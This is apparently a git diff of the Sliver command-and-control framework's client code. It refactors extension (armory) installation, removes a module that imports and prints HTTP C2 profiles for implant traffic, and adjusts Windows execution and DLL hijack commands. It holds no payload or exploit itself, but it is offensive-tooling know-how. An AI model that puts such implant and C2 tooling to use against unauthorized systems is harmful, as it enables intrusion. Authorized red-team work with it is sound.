@@ -36,7 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
@@ -141,7 +141,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -183,7 +183,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
@@ -217,11 +217,9 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
|
||||
for _, extension := range exts {
|
||||
for _, extensionPkg := range extension.ExtCommand {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
results = append(results, extensionPkg.Help)
|
||||
}
|
||||
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
|
||||
results = make([]string, 0)
|
||||
@@ -293,16 +291,14 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
|
||||
@@ -32,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ErrPackageNotFound - The package was not found
|
||||
@@ -96,13 +96,11 @@ func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *conso
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, extm := range extensions {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext.Manifest, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -188,27 +186,25 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
for _, ext := range extm.ExtCommand {
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu.Command) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
@@ -226,25 +222,24 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
for _, multiExt := range entry.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if multiExt.DependsOn == name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
deps[multiExt.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
@@ -302,7 +297,20 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), con, true)
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
//
|
||||
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
|
||||
// con.App.Commands().Remove(extCmd.Name)
|
||||
// }
|
||||
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
|
||||
return nil
|
||||
}
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
|
||||
@@ -55,11 +55,9 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, extm := range exts {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, extm)
|
||||
}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
|
||||
@@ -104,11 +104,10 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.Name)
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -1,437 +0,0 @@
|
||||
package c2profiles
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
// retrieve and unmarshal profile config
|
||||
jsonFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
byteFile, _ := io.ReadAll(jsonFile)
|
||||
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
|
||||
err = json.Unmarshal(byteFile, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
|
||||
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
|
||||
httpC2Headers := []*clientpb.HTTPC2Header{}
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
for _, cookie := range config.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
|
||||
Name: cookie,
|
||||
})
|
||||
}
|
||||
serverConfig := &clientpb.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
return &clientpb.HTTPC2Config{
|
||||
Name: profileName,
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Parameter",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// Profile metadata
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Profile Name",
|
||||
profile.Name,
|
||||
})
|
||||
|
||||
// Server side configuration
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
strings.Join(serverHeaders[:], ","),
|
||||
})
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Cookies",
|
||||
strings.Join(serverCookies[:], ","),
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Randomize Server Headers",
|
||||
profile.ServerConfig.RandomVersionHeaders,
|
||||
})
|
||||
|
||||
// Client side configuration
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
strings.Join(clientHeaders[:], ","),
|
||||
})
|
||||
|
||||
var clientUrlParams []string
|
||||
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
|
||||
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Extra URL Parameters",
|
||||
strings.Join(clientUrlParams[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"User agent",
|
||||
profile.ImplantConfig.UserAgent,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Chrome base version",
|
||||
profile.ImplantConfig.ChromeBaseVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"MacOS version",
|
||||
profile.ImplantConfig.MacOSVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println("\n")
|
||||
}
|
||||
|
||||
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
c2profile := ""
|
||||
var choices []string
|
||||
for _, c2profile := range c2profiles {
|
||||
choices = append(choices, c2profile.Name)
|
||||
}
|
||||
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a c2 profile",
|
||||
Options: choices,
|
||||
}
|
||||
survey.AskOne(prompt, &c2profile, nil)
|
||||
|
||||
return c2profile
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package dllhijack
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = os.ReadFile(localReferenceFilePath)
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = os.ReadFile(localFile)
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -44,7 +44,6 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
|
||||
args = args[1:]
|
||||
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
@@ -65,21 +64,16 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
if token || ppid != 0 {
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
HideWindow: hidden,
|
||||
PPid: ppid,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: ppid,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
@@ -225,7 +219,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), fileName, lootName, clientpb.FileType_TEXT, commandOutput)
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
|
||||
@@ -66,27 +66,25 @@ func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
//for _, extension := range extensionm.ExtCommand {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.Manifest.Name]; ok {
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Manifest.Name,
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Manifest.Version,
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.Manifest.ExtensionAuthor,
|
||||
extension.Manifest.OriginalAuthor,
|
||||
extension.Manifest.RepoURL,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
//}
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtCommand) []string {
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
@@ -111,7 +109,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.Name] = manifest
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -119,9 +117,9 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
